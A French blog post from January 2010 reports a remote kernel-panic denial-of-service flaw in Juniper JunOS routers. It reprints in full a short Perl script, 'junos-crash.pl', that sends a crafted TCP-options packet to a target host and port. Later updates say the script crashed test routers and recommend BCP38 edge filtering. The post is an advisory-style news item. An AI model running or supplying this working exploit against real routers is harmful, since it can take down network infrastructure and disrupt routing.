jan 11

Bonjour à toutes & à tous,

Bon, normalement, on parle essentiellement Magento et hébergement ici. Il se trouve que ma société est aussi un acteur de longue date dans le monde de la sécurité informatique et donc forcément, ca nous passionne aussi (en plus ca fait partit de l’infogérance).

Donc après les failles XSS de Magento, qui semble t’il seraient aussi présente dans d’autres endroits du code après quelques tests,  une nouvelle qui risque de pas mal mettre la zone dans le routage internet ces prochains jours : Déni de service sur les Juniper…

Alors Juniper pour les personnes à qui ca ne cause pas, c’est une marque d’éléments actifs, notamment de routeurs, grand concurrent de Cisco. Ils font donc des routeurs à l’excellente réputation, mais là, ils ont dû rater un étage en codant la stack IP du routeur. Bref, en partant d’un BSD bien propre sur lui, on se retrouve pourtant avec le moyen de faire un « killer packet » :

$ cat junos-crash.pl
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
dst         => $port,
options     =>  "\x65\x02\x01\x01",
);

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

L’article original par son auteur se trouve ici et on trouve aussi des détails ici.

Comme me le disait Émile ce matin (le bosse de l’exploitation chez nous) : « ca sent la chasse aux pigeons ». En traduction littérale, vu le type de réseaux qu’équipe Juniper, il n’est pas impossible que quelques routeurs prennent des paquets evil dans les dents, juste histoire de les mettre à genoux.

Le paquet en question, rien qu’en réglant des champs d’options dans le header TCP, permet de faire rebooter le routeur à distance à peine 10 secondes après réception du paquet, sur un kernel panic en plus.

D’un autre coté, les routeurs réellement sensibles traitent du BGP et ne sont visibles en IP que pour les admins, ce qui devrait rendre difficile l’envoie de ce genre de paquets. A voir donc, mais il n’est pas exclu que ces gentils petits « killer packet » fassent parler d’eux.

D’autres questions subsistent à ce stade très en amont de la recherche sur cette faille : toutes les versions sont elles touchées, est-ce reproductible ou l’environnement nécessite t’il d’être dans un état très particulier ? Les FreeBSD vont ils hériter de la même vulnérabilité ? Bref, à peine 24h après la first disclosure, il n’est pas impossible que ca aille plus loin, très loin même, tout comme cette faille peut faire un beau « pschhhhit » et ne jamais impacter Internet. W8&C.

Mise à jour 11/01/2010 à 15h42 : La faille a été lancée plusieurs fois contre des Juniper de tests par mes amis et/ou collègues et … ca marche, très bien même. En fait il y a même le routeur d’un ami qui ne s’en est pas remis (pas rebooté). Ça sent la très méchante faille générique sur Juniper et l’impact pourrait être très costaud sur Internet et le routage global. N’hésitez pas à ajouter vos tests complémentaires ou points de vus en commentaires.

Mise à jour 11/01/2010 à 16h51 : bon ben comme ca c’est clair, votre routeur est, par essence vulnérable, http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/
Donc, il faut appliquer la  BCP38 sinon c’est la mort assuré de votre routeur s’il est visible d’Internet. La Best Common Practice 38 c’est : « filter at the edge », réduire au minimum requis les IP autorisées à accéder au routeur.

Mise à jour 12/01/2010 à 10h10 : Allez, visiblement, janvier ca va être la fête des poneys ! http://it.slashdot.org/story/10/01/11/1640232/Firm-To-Release-Database-Web-Server-0-Days?art_pos=11

Ça aussi ca promet un beau gros cauchemar de mise à jour puisque Mysql serait potentiellement victime d’un overflow (ou plusieurs). Encore une fois ca dépendra de la façon dont c’est exploitable mais dans le principe ca pourrait être dangereux.

écrit par Philippe Humeau \\ tags: , ,